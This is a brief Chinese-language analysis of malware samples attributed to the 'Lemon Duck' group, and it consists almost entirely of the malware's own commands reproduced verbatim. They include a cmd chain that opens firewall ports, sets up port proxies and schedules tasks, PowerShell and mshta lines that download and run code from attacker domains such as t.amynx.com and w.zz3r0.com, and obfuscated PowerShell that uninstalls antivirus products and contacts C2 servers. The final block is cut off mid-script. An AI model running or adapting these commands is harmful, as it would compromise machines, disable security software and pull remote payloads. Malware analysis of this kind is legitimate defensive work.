柠檬鸭组织样本分析

cmd /c echo RmMrcM >> c:\windows\temp\msInstall.exe&echo copy /y c:\windows\temp\msInstall.exe c:\windows\kNnk.exe>c:/windows/temp/p.bat&echo "*" >c:\windows\temp\eb.txt&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65529 DNSS3  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn BIzdRfgY /tr "c:\windows\kNnk.exe" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.zz3r0.com/page.html?pBS_S-AUDIT"^&schtasks /run /TN Autocheck^&schtasks /delete /TN BIzdRfgY /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN BIzdRfgY /tr "c:\windows\kNnk.exe"^&schtasks /run /TN BIzdRfgY^&schtasks /delete /TN Autoload /f^&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autoload /tr "c:\windows\temp\installed.exe"^&schtasks /run /TN Autoload^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f  %%i in ('tasklist ^^^| find /c /i "cmd.exe"'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo del c:\windows\temp\p.bat>>c:/windows/temp/p.bat&echo c:\windows\temp\installed.exe>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat&cmd /c c:\windows\temp\installed.exe

cmd /c echo RmMrcM >> c:\windows\temp\msInstall.exe& echo copy /y c:\windows\temp\msInstall.exe c:\windows\kNnk.exe>c:/windows/temp/p.bat&echo "*" >c:\windows\temp\eb.txt&//配置网卡、防火墙echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65529 DNSS3  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&//powershell命令echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&//计划任务配置schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn BIzdRfgY /tr "c:\windows\kNnk.exe" /F) else start /b sc start Schedule^&ping localhost^&//检查定时任务是否已启动sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&//mshta下载马，截至分析时已无法访问schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.zz3r0.com/page.html?pBS_S-AUDIT"^&//计划任务操作项schtasks /run /TN Autocheck^&schtasks /delete /TN BIzdRfgY /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN BIzdRfgY /tr "c:\windows\kNnk.exe"^&schtasks /run /TN BIzdRfgY^&schtasks /delete /TN Autoload /f^&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autoload /tr "c:\windows\temp\installed.exe"^&schtasks /run /TN Autoload^) >>c:/windows/temp/p.bat&//创建批处理，内容为启动服务echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f  %%i in ('tasklist ^^^| find /c /i "cmd.exe"'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo del c:\windows\temp\p.bat>>c:/windows/temp/p.bat&echo c:\windows\temp\installed.exe>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat&cmd /c c:\windows\temp\installed.exe

IEX(New-ObjectNet.WebClient).DownloadString('http://t.amynx.com/gim.jsp')

/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f227eb7bd7999a69fa51fddf9f8ddc79f7c7fffdef7f2c597df7efdf277fbe4fbbb7bdfcbbff872fe7af5bba55bbf30fd993b9fdefbfeabecdb27df1b7dfce264fe719a9e9e64e52a7fb59da60fed375f9db7fe37773efe8d93df38f9f8938fefa477f64da33b0f7777e5d74f761ee017fa9e7e7ff8f0fbafe8377cbe45009eaf72faebd53660ebc7a33bf7ed9b0fe9b307fafb03f3e9564a9fe6e8fcf4d5743bdddfdb75ef12663ff1d36fe85f81fd6adb0e873efbceec84feb56fd23be91ea193d12fdae2cdab87f46f6a5e4ed34f1feaeb77f6a895c5ebc0feb6b783cf0d62a9057e87e03cbb9b664dfb2a5db677d3bccdcb7c76376dde36593b9f36a0187dbfeb35a0373e017e9d76049f9bee69536d160789ff7e09fec9a775f5ecf7f83d7e8f74370585d765f693dbe9d3575f7ef72926ef938f0122cd57d76fb6d36555344d5eaf16d5495e4eb2a6789a5e3d9b36d4a8ced1345f6475f6924853e79775fe7a992d96d973fab3c9a7053ea05fdbfc7559d5edb23a6997795daf4fe8b32f4edfbcfe7df0e5a32f9eff5edf2688e9bccd5e6ea7d76d9dafaafae5226fcfb6e9c5941e60fc765a9593cf0819f439cdd2fbf7763f6beb6a556653faa02ad3157ee2cbcfca6a5ab555bd4a97c56775314bafe8c3674a17bc4caf5e2ff319f5f91921bffc8a3e932fd3bc5cd7e96c96a565995de575716e7fb9a40fe74d9b2ffbf80099fd7d834c556a4f84501c9b67d3fbfbf4c5fef512d42334f405c14671a0af3a6868ab3836f7ee73ffed345f2eab69ba3be6ff3ec3c4d170e463d34dfa70effefd4fb9fd326f9ba24cf72fab76ff92077efd8e50a5afb4f1ca0c269f66e7fa3b4dfbb248f377f9384061f6fac5d3d7021b1248a34f2f96c59226133d8554752f4feff21f18ee622aa0b41be25488606afe411ff7d3559e970d64b3adb3b649f561bebef34b30d18e7f9f4d0964b1a0bfae48b40186d401cdfbac98a757db844c3e172ebe22f4a677991d5a924fbc91bfc997c5f3193133b1fd217d0524091cf1ebde3d62cde6ba018b5f55b3657105269ee275703064a45d53fbd34348d602eae3453e8776f9e4ea19d86faa8cf7e217ff9e694302b1585fd4c7dbe00b70d3aaa8a7cd640df0ad9985aa867ce46602b35583d75943d52c81eb4664ebf2d4a22da4e0b74fd2a6c9ca936d9ac425116d79562cbe0bd1dafaacced18edf3ebc4313f53a054f82a7e55dd0f9b8aeeafa743bfd252043f3e59a47fffaf77ffda5e38797bfbffe9ab5d9d3196b85365b908639c7777bf796c577e9c5f4f8f519a1a04d8109b55b9eb5f9459d4127ebb4a5a7af4ebffddd7467e7d37be98bb36fbf39fb6eca235b0a3a3ca2c2a8b96c5a9c17b3ea0b33b2dffff74fbff8f2d5b3f45be99b93d3e7a7af85e29f5dd7f9fa2780fff39ff82e53ff225b5f909ab29fef5d2e0a9a5c854a9407c9f95562fcd56b909b9138c46f7636a7e7fe54023b3b9be03a9d50fad59f539d4c03763b25792a8b672d6b83cb531ac1f06ca161c8358a718f79ecf4032bf46a260b9da327cb45e9c5b2202e7e522b1b556fa49f414444e4582c217777686a57cd4f8fb38c7e19993fe8e716f5411e403dbe73e7fe16a982ba056af4de784de41b2942d470efab4eeb11aca6bc42bfe02d79859aed066d9bd50253f1190b3aa4dc28848f455f2c33108238ec33376f167941df687ffef18bef34e88854758a9f5bf36996d7956174f38a080aa4242a1bda9a4504fcaf42312c11425d91038ffb81642000d423f81dfcb489e5e9fb673196a7cf235c6f948ae3cd2ecbd347a4b8276f89e613fa9dc0f8da4bdfef2a31c36ec28ef48e016ffa8b49c026f637c4ffc57776dba29aa9466fabe5f6d679a10ee62ff9c5f32991883d1c99108b38fdeeec3ce30f41e08ecfb753fa76a9887555705563a22cb2da6a006732b43f3df9f2ec0b60fcf967065146fbba6e3dff0bc8fe985a34a3fa183d366f64dbc0b646427eecc7f41550172c4c889df32f1803bcc3e5ba768e9e34df1553c93018f2365b4cf9f297c80fede097fc987eaae4fb31f3f78fd18be68fb25c2fb7db7545fef31dfcfe1dbc2c5a860466b4938ef853fcaebf607e46fbe9e80ee49ffeb02ac00a7357f09dc62215e0544620fcf46d4ffe474487a75f9cfcfeaf5fd22ff6cb72f17b8f4112c6097367fedaa29f50724d7191bf1ad7f9acaccebf038febe4c7f8c1707fec17dfb9a350e90b010c5db42c32f263d176dce5feb13883e8e0bcb08030f1f6f7f44e633c58695e18b62bcef3a7165b523f0c4bbf6390a9ea2203ea0e0121755378efe0577d459497795fde6365ad1fed6e815bde1097daf19f7ce681d3d63071c468fa12331e08c1af3cc3cb9775d33678d74209b8cff0dcc750c7fc8f729e9db0884fc60e194b2771364536835cbff3695a2deea6a76fbe7a71f605b86ddadc5583081e82fb85b14f7dd1d079c89b324f7fd6706144c44b4c2199b943c3494d80d09d0c5464be51bb45e68022f2a59b8c5ff24be853f5810081851aa64d10f9c518d22fb9236f6e7d42d2621dd4efaafe3daf5e57b543605a7c41adf03a5eb718fce23b7be92fcaad6771ef772ff0397a53e47e89f4615fdce5e6d4ce91de1fcb2f69be5450105dee917ed17777ccbbfe1b7744dee95f7d91befaf25d3e5b9e3d7af4fdebacaeb3ef1169f08aa15ed46aab0ed3297626ec63d84733a1f663f00f4fe4de2ecda476ec4da8fdc49b4c4fdd5a96ea74476027e249f67ae4ee14acf4ba917f00e32e3c974ec78e75e44f353abe69f4ed22f40623e4318267debd4fb78c86801a08259f5af8c2df16f441cfd4ddd992b8f3441a52136ee0cc30d2109c221853cc3bcbe7d3d76a4029e632b674fb2a7f41936dbaf2a243f89d0b68e2e9f8ddf27a918de14a8ef8c3e9f882b2113f709fe84b95d188e39dfade0fe4fbaddff333e61ea6d39d3b9ffeeeac58496cb25730e25b9f7cba45eed71a18b94f7fe2a7a9d19b3b7b7bbbe3f183879fec3c1c8f15f2fd4f3f79707f3c3ed8dffafef7bf5767f3e9f7b69645f5d3a458ea759bd7bfd828e02d1571d2f31098e9727d6e346e5db51919be62592c60948e79c2a6e9f7f3b27a456ea202288bf513116f9e2e560bf4f1770d226526b13b53bb98922d7d39be6e8b7aaddfc38fcb5f7f6f0b509767cd1999df2dcdced00021686d417fcfce6c27df1d134c1fd294deffbefd4c758dd788deb936e86af3adcf3299c6df3821dadfc11cd2ffa8e1b7e437a6d59d3b4ce97a6bf4f4ecabafc677da295acc242944b12799ee35d25126ea64775af8a5a230601b0a7074fac5f18b57a7afbf7a74b9cca14ee4ef375f31b5f8b5975f7c79a2df6efd9eac31e97fbf07fdff136d7049dfe0630e68eecaf79f9435eb98ec50fe6617069fcb8f5df3a78290bfeede7db46adb39ffa15fac3f1340bfe497fc923b13fa69b805aa1134d87a97af2ecfcf7eb136271feacef7f5f7dd07c4753bdf9b7d0744b12f82cdb401bdcdbed3ebfd4ff3267bb2a8ea67349f14a75f526e083d98d8eb0e8973714974851cea67b5fecc5f57edeaba8617b77bfcedd7e3ebf92aab2fe4333bfd42746ac272ba35c248602a10f25c73a0429d8e0d4851538746045632802d32b2ad2411912882f49d8d6b6a7bc8d8696345b236681dbf7ed54789de7558314a9f31a0dd9d773b18f3c79261d8c19ff8ec336270ebf7afde9d8e57680da674d3f7d9ce6ef6edd9f32f7fd1f9aa7ef0ead3dfe72c3fdffde95d827439fd89af56cff7eefea09cfcf4eae4f9d39f9edc3ff862e7e4feef53ae7fd177df2e4fbeca5f3c9fef9fe7bfa8d87ff58377cb7bd3e3d73f7530bd7afb6aa7deb9470ee3f3c9faf9ea60f7e079317dfadd9d57bfcfdd370b2491eb7bbfd78345f9eddfe76c5ab43f78f30333febd172fee7d71f5f0ec634d650a1bbffce9fdb7f577cff1dea73fd97e7bb27eb15cbc7971efeee5c1e50574c762f57bd3bf4f763fbfa41fbff7fac16ef5ddc51eb3214865b984b9c412da328bf9847986b42429e9ea8bb18d57ce3dc7f0d04d22cd8c7ebc8967303bdaecc5674cf6ef4fe9dff1f8de83ddefc1927c3611f6f8c577e893b4bdd84ea7e2a38385a090a7636e36956687f42ffb0d5ba42b39e2ceaa7279553da53f49832cf3a224793a99e4df1db7645108077a813e0126f4db15fd4a0cfc1940fe628193890f4e8a195ca09106eb68fa7b36fbe28b6b7a7e7ffa3d95c89ed37164a99f8ad9a07ea13fe8c3df0331f5a5becc0e311b7343dd25b912f9bb6a72d12c38cfbe5a376ce609e7b2682856bf64b713d452b2532a726767874291257cbcbcceaecaec8b6dd2d6c79c766faf27fa19fdb9fb4b3103f54bce083d7cc4fe2ab91194300136f9252216247421ab40855c819621e3b72967fabf5cffee76ee9648e6bef8dd31eafc6d511af705896b40ceeb7c7e45c42546a1843772a6c8cba493bba9a46b633d53b7d4b9f64cbf312a9dfe9b755dfc2406e87aee74492fbd6faf66b0d21f662f36e4a11e3143efdfa3d20b6ea14768fd943bc740d0ffea32eb75edaf541012e05b436c05f13eb8b8a9f6c7dd3666a5c1438059fbc3e638d29f19eaef7efd5612f110c906a98fdfeb7747d7764c3d0ce8af9b90c00bd00c40e563449e061b16ad028e63809399199f1479733ac870a66b7d2f4a06ea6331a52fb7b6d2ad14668ffeb73cabbeb32d13f90eef7effde68f77b77b63e7f51bc2273f3667c3a7d91bf3a7d76fa6a9537d5a43efd495a674db7c61f6f6d7d941ea6bf702bfddd4e5ffce4a3932fbf685e9e4ebfb73fdabd3fdabbfffdedef5467cb8f698595ba4a3f3f7db3fd93d9abb3ec49799aee7d9b9676b72f8fcbaf4ebf5cdef9de36ad0d8db76f6a367e7efae2f337f3f44eca905f7cfc31fdfa1b27ff0f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
*/

/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* $2hl  = ")'x'+]43[emOHSP$+]12[eMOhSp$ (& |)63]RaHC[,'NCh'  ECalpeR-  93]RaHC[,'Uft'  ECalpeR- )''+') )43]RaHC[,)911]RaHC[+07]RaH'+'C[+99]R'+'aHC[(ECaLpe'+'R-93]R'+'aHC[,)511]RaHC[+9'+'7]RaHC[+711]RaHC[( '+'eCalpERc- 421]R'+'aHC[,UftQjTUftECaLpeR-63]RaHC[,UftJdCUfteCalpERc-'+' 29]Ra'+'HC[,UftTR9Uft ECaLpeR-  69]RaHC[,)2'+'11]RaHC[+811]RaHC[+20'+'1]RaHC[(  eCalpERc-)UftF/ astR nt/ eteled/ sksathcsF/ 1astR nt/ etUft+Ufteled/ sksathcs'+'F/ 2astR ntUft+Uft/ eteled/ sksathcs}ecroF??? 1 e'+'ulaV- DROWDUft'+'+Uft epyT- noisserpmoCelbasiD wFcs'+'ret'+'emaraPTR9revreSnamnaLTR9secivreSTR9teSlortnoCtnerruCTR9METSYSTR9:MLKHwFc htaP- ytreporPmetI-teS    kcolb=noit'+'ca 531=troplac'+'ol pc'+'t'+'=locotorp ni=rid w'+'FUft+Uft'+'c531ynedwFc=emanU'+'ft+Uft elur dda llawerif llawerifvda hsten    kcolb=noitca 544=troplacolUft+Uft pct'+'=locotorp ni=rid wFc54'+'4yn'+'edwFUft+Uftc=eman elur d'+'da llawerif llaUft+Uftwerifvda hsten    35=troptcennoc 1.1.1.1=sserddatcennoUft+Uftc 92556=tropnetsil 4vot4v dda yxorptroUft+UftpUft+Uft ecafUft+Uftretni exe.hsten    dSNDS 92556 '+'pct gninepotrop dda llawerif exe.hsten c/ exe.'+'dmc    Uft+Uft}'+'  '+'  '+'5 peels-'+'trats        })}w'+'Uft'+'+UftFcdmcim'+'wJdC'+' c- neddih w- llehs'+'rewop c/wFc=etalpm'+'eTeniLdnammoC;wFcexe.dmcTR923metsysTR9swodniwTR9:cwFc=htaPelbatucexE;e'+'ma'+'NehtJdC+wF'+'ccwFc=emaN{@ stnemugrA- wFcnoitpircsbusTR9toUft+UftorwFc eUft+UftcapsemaN-'+' r'+'emusnoCtnevEeniLdnamm'+'Uft+UftoC ssalC- ecnatsnIimW-teS(=rem'+'usnoC;)potS n'+'oitcUft+Uf'+'tArorrE- };wFcsOumetsyS_SOfUft+UftreP_Uft+UftataDdet'+'tamroFfreP_23niWsOu ASI ecUft+Uftnats'+'nItegraTUft'+'+Uft EREHW 0063 NIHTIW tnevEnUf'+'t+UftoitUft+UftacifidoMecnatsnI__ MORF * TCELESwF'+'c=yreuQ;wFcLQWwFc=egaugnaLyreuQ;wFc2vmicTRUft+Uft9toorwF'+'c=ecapSemaNtnevE;emaNehtJdC+wFcfwFc=emaN{@ s'+'tnemugrA- '+'wFcnoitp'+'ircsbusTR9toorwFc ecapSemaN- retliFtn'+'evE__ ssalC- ecnatsnIimW-teS(=retliF{@ stnemugrA- Uft+UftwFcnoitpircsbusTR'+'Uft+Uf'+'t9tooUft+UftrwFc '+'ecapsemaN- gnidniBremusnoCoTretliF__ ssalC- ecnatsnIimW-teS      '+'  )sOupsj.aasOu,sOupsj.asOu(ecalper.))5(gnirtsbus'+'.uJdC,Uft+UftsOu2UsOu(ecalper.))5,0'+'(gnirt'+'sbus.uJdC,sOu1UsOu(ecalper.spmtJdC=dmcimwJdC        '+'naR'+'teg=emaNehtJdC    '+'    U'+'ft+U'+'ft{)suJdC ni uJdC(hcaerofUft+Uft    potS noitcArorrE- };wFcsOumetsyUft+UftS_SOfreP_ataDdettamroFfreP_23niWsOu ASI ecnatsnItegraT EREHW 0063'+' NIHTIW tnevEnoitacif'+'idoMecnatsnI__ MORF * TCELESw'+'Fc=yreuQ;wFcLQWwFc=eg'+'augnaLyreuQ;wFc2vmiUft+UftcTR9toorwFc=ecapSemaNtnevE;wFcllabkcalbwFc'+'=emaN{@ stneUft+UftmugrA- wFcnoitpiUft+UftrcsbusT'+'R9toorwFUft+Uftc ecapSemaN- retliFtnevE__ ssalC- ecnatsnIimW-teS    {)1tiodJdC'+' ton-(fi'+'}{hctac}wFcsOullabkcalbsOuU'+'ft+Uft=emaNwFc retlif- sOunUft+UftoitpircsbusTR9toorsOu ecapSemaNUft+Uft- retliFtnevE__ ssalC- tcejbOIMW-teG=1tiodJdC{yrt}'+'}    5 pUft'+'+U'+'fteels-tra'+'tUft+Ufts        '+'wFcntJdCTR9fntJdCwFc nt/ nur/ sksathcs        1 peelsUft+U'+'ft-trats        }        Uft+Uft}            }{hctac}                }    '+'                llun-tuoQjT)llunJUft+'+'UftdC ,0 ,llunJdC ,llunJdC'+' ,4 ,)))5('+'gnirtsbus.uJdC,sOu2UsOu(ecalper.))Uft+Uf'+'t5,0(gnirtsbus.uJdC,sOu1UsO'+'u(ecalper.spmtJdC,wFcDMC_SPwFc(ecalper.lmX.ksatJdC ,emaN.ksatJdC(ksaTretsigeR.redlofJd'+'C                            {))wFcDMC_'+'SPwFc('+'sniatno'+'C.stneUft+UftmugrA.noitcaJdC(fi                    {yrt                { )snoit'+'cA.noitinUft+UftifeD.ksatJdC ni noitcUft+UftaJdC( hcaerof            {)'+'metiksatJdC ni ksatUft+UftJdC(hcUft+Uftaerof        )Uft+Uft1(sksaTteG.redlofJdC=metiksatJdC        )wFcfntJUft+UftdCTR9wFc(redloFteG.vrstsJdC=redlofJdC        1 peels-trats        '+''+'}        wFcDMC_SP c- neddih w- llehsrewopwFc rt/ F/ wFcntJdCTR9fntJdCwFc nt/ 06 om/ ETUNIM'+' cs/ Uft+Uf'+'te'+'taerc/ sksathcs            { esle }        wFcDMC_SP c- neddih w- llehsrewopwFc rt/ F/ wFcntJdCTR9fntJdCwFc nt/ 06 om/ ETUNIM cs/ metsys ur/ etaerc/ sksUft+'+'Uftathcs            {)asJdC(fi        naRteg = ntJdC        }}naRUf'+'t+'+'U'+'ftteg=fntJdC{esle})naRteg(+sOuTR9swodniWT'+'R9tfoSorUft+'+'UftciMsOu=fntJdC{)asJdC(fi{)2 qe- Uft+Uft3%iJdC('+'fi        }naRteg=fntJdC{)1 qe- 3%iUft+Uf'+'tJdC(fi        }sOUft+Uft'+'usOu=f'+'ntJdC{)0 qe- 3%iJdC(fi        )uJdC,suJdUft+UftC(fOxednI::]yarra[ = iJdC        {)suJdC ni uJdC(hcaerof    }    wFcllabkcalbw'+'Fc rt/ F/ llabkcalb'+' nt/ 021 omUft+Uft/ ETUNIM csUft+Uft/ etaerc/ sksathcs        { esle }    wFcllabkcal'+'bwF'+'c rt/ F/ llabkcalb nt/ Uft+Uft021 om/ ETUNIM cs/ metsys ur/ etaer'+'c/ '+'sksathcs        {)asJdC(fi    {)tiodJdC ton-(fi}{hctac})'+'wF'+'Uft+'+'UftcllabkcalbwFUft+'+'Uftc(ksaTteG.)wFcTR9wFc(redloFt'+'eG.vrstsJdC=ti'+'odJdC{yrt)(tcennoC.vrsts'+'JdCU'+'ft+UftecivreS.eludehcS tcejbOmoC- tcejbO-weN = vrstsJdCUft+Uft)sOumo'+'c.xnyma.tsOu,sOumoc.g9rez.tsOu,sOumUft+UftocUft+Uft.0r3zz.tsOu(@=suJdC}))6%)'+'modnaR-teG(+6( tnuoC- modnaR-teGQj'+'T)221..79+09..Uft+Uft56+75..84(]][rahc[(nioj- nruter{)Uft+Uft(naRteg noi'+'tcnuf)wFcrotartsinimd'+'A'+'wFc ]eloRnItUft+UftliuBswodni'+'Uf'+'t+UftW.Uft+UftlapUft+U'+'fticnirP.ytiruUft+Uftc'+'eS[(eloRnIsI.))(tnerruCteG::]ytitnedIswodni'+'W.lapicnirP.ytiruceS[]lapicnirPswodniW.lapicnirP.'+'ytUft+UftiruceS[(=asJdCsOu))sOusOu'+'*sOusOunioj-))modnar(,DIUU.)tcu'+'dorPmetsySretupmoC_Uft+Uft23niW tcejboimw-teg(,EMANRESU:vneJdC,EMANRETU'+'Uft+UftPMOC:vneJdC(@(+sOusOu?sOu+Uft+UftvJdC+sOupsj.a/sOusOu+lruJdC(a;sOusOu2UsOusOu+sOusOu1UsOusOu+Uft+UftsOusOu//:ptthsOusOUft+Uftu=lruJdC}}})bJdC]][rahc['+'nioj-(xepvfI{Uft+Uft))))]Uft+Uft171..0[dJ'+'dC]][rahc[(nioUft+Uftj-(gnirtS46esaBmorF::]trevnoc['+',Uft+Uft)redivorPecivUft+UftrUft+UfteSotpyrC'+'1AHS.yhpargotpyrC.ytiruceS tcejb'+'O-weN(,bJdC('+'ataDyf'+'irev.rUft+UftJdC(fi;)Uft+UftpJ'+'dC(sretemaraPtrop'+'mI.rJdC;redivUft+UftorPecivreSotpyrCASR.yhpargotpyrC.ytir'+'uceS tcejbO-weN=rJdC;10x0,Uft'+'+Uft00x0,10x0=tnenUft+UftopxE.pJdC;)sOuUft+UftsOu=01aHdLOqfpr7R6YIef1j1'+'vcQUpL2/zlbjpCLDjb58M0C5YluqWknCUeNLh4feqi4Rzxn3cASZ8cwkR0r03mugLbuLp818LicDW0RY/Tm2'+'r3K7mlHYIcitzTzvUft+Uft2NN3Mw9I'+'FUft+'+'UftPj4krWf2'+'6VtHbuNnmTN3/v8vgd'+'mpX'+'B1Gv'+'Xu71oWm2sOusO'+'u(gnirtS46esaBmUft+UftorF::]trevnUft+Uftoc['+'=suludoM.pUft'+'+UftJUft+UftdC;sretemaraPASRUft+Uft.yhpargotpyrC.ytiruceS tcejbO-weUft+UftN=pJdC;]cJdC..371[dJdC=bJ'+'dC{)371 tg- cJd'+'C(fi;tnuoc.dJdC=cJ'+'dC;'+')uJdC(wFcataDdaolnwoDwFc.)tneilpvfCbeW.teN tce'+'pvfjbO-'+'wpvfeN(=dJdC{)uJdC(a noitcnufsOu=spmtJdC)sOuddMMyyyy_sOu tamroF-'+' etaD-teG(+wFcvJdC'+'?wFc=vJdCtratser'+'Uft+Ufton/ sexobgsmsserppus/ '+'tnelisyrev/ wFceUft'+'+Uftxe.000sninuTR9erawlaM-itnATR9setyberawlaMTR91~argorPTR'+'9:CwFc c/ dmcevitcaretn'+'ion/ llatsninu llac wFcsOu%ytiruceS notroN%sOu ekil Uft+UftemanwFc erehw tcudorp exe.cimw b/ trats c/ dmcevitcaretnion'+'/ llats'+'n'+'inu llac wFcsOu%suriVitnA%sOu ekil emanwFc erehw t'+'cudorp exe.cimw b/ trats c/ dmcevitcaretnion/ llatsn'+'inu'+' llac wFcsOu%ytiruceS%sOu ekil emanwFc erehw '+'tcudorp exe.cimw b/ trats c/ dmcevitcaretnion/ Uft+Uftl'+'latsninu llUft+Uftac wF'+'csOu%pva%sOu ekil emanwFcU'+'ft+Uft ereh'+'w tcudorpUft+Uft exe.cimw b/ trats c/ dmcevitcaretnion/ llatsninu llac wFcsOu%tsaUft+Uftva%sOu ekil'+' emanwFc erehw tcudorp exe.cimw b/ trats c/ dmcevitcaretnion/ llatsninu llac wF'+'csOu%%yks'+'re'+'psa'+'K%%sOuUft+Uft ekil'+' emanwFc er'+'ehw tcudorp exe.cimw b/ trats c/'+' '+'dmc'+'evitcare'+'tnio'+'n/ llatsninu Uft+Uftllac wFcsOu%tesE%sOu ekil emanwFc erehw tcudorp eUft+Uftxe.cimw b/ trats c/ d'+'mcUft(( ( )UftUftnIoJ-U'+'ftxUft+]3,1[)(GNiRtsOT.EcNeREFERpesobrEVNCh (.'((" ; ((  GET-VaRIaBlE 2Hl  -vAlUEOn)[- 1..- ((  GET-VaRIaBlE 2Hl  -vAlUEOn).LENGTh ) ]-JoIN'' )
*/

/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* ; "(('.( hCNVErbosepREFEReNcE.TOstRiNG()[1,3]+tfUxtf'+'U-JoIntfUtfU) ( ((tfUcm'+'d /c start /b wmic.extfU+tfUe product where cFwname like uOs%Eset%uOscFw calltfU+tfU uninstall /n'+'oint'+'eractive'+'cmd'+' '+'/c start /b wmic.exe product whe'+'re cFwname '+'like tfU+tfUuOs%%K'+'asp'+'er'+'sky%%uOsc'+'Fw call uninstall /nointeractivecmd /c start /b wmic.exe product where cFwname '+'like uOs%avtfU+tfUast%uOscFw call uninstall /nointeractivecmd /c start /b wmic.exe tfU+tfUproduct w'+'here tfU+tf'+'UcFwname like uOs%avp%uOsc'+'Fw catfU+tfUll uninstal'+'ltfU+tfU /nointeractivecmd /c start /b wmic.exe product'+' where cFwname like uOs%Security%uOscFw call '+'uni'+'nstall /nointeractivecmd /c start /b wmic.exe produc'+'t where cFwname like uOs%AntiVirus%uOscFw call uni'+'n'+'stall /'+'nointeractivecmd /c start /b wmic.exe product where cFwnametfU+tfU like uOs%Norton Security%uOscFw call uninstall /noi'+'nteractivecmd /c cFwC:9'+'RTProgra~19RTMalwarebytes9RTAnti-Malware9RTunins000.extfU+'+'tfUecFw /verysilent'+' /suppressmsgboxes /notfU+tfU'+'restartCdJv=cFw?'+'CdJvcFw+(Get-Date '+'-Format uOs_yyyyMMdduOs)CdJtmps=uOsfunction a(CdJu){CdJd=(Nefvpw'+'-Objfvp'+'ect Net.WebCfvplient).cFwDownloadDatacFw(CdJu)'+';Cd'+'Jc=CdJd.count;if(C'+'dJc -gt 173){Cd'+'Jb=CdJd[173..CdJc];CdJp=NtfU+tfUew-Object Security.Cryptography.tfU+tfURSAParameters;CdtfU+tfUJtfU+'+'tfUp.Modulus='+'[cotfU+tfUnvert]::FrotfU+tfUmBase64String(u'+'OsuOs2mWo17uX'+'vG1B'+'Xpm'+'dgv8v/3NTmnNubHtV6'+'2fWrk4jPtfU'+'+tfUF'+'I9wM3NN2tfU+tfUvzTzticIYHlm7K3r'+'2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv'+'1j1feIY6R7rpfqOLdHa10=uOstfU+tfUuOs);CdJp.ExpotfU+tfUnent=0x01,0x00tfU+'+'tfU,0x01;CdJr=New-Object 